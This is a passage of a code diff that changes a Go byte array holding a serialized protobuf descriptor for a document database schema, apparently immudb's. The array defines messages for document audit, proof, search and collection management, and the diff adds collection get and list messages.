0x65, 0x54, 0x78, 0x56, 0x32, 0x52, - 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, - 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x79, 0x0a, 0x16, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, - 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, - 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, + 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, + 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, + 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x22, 0x85, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, + 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, + 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, + 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, @@ -1779,195 +1780,174 @@ var file_documentschema_proto_rawDesc = []byte{ 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, + 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, + 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 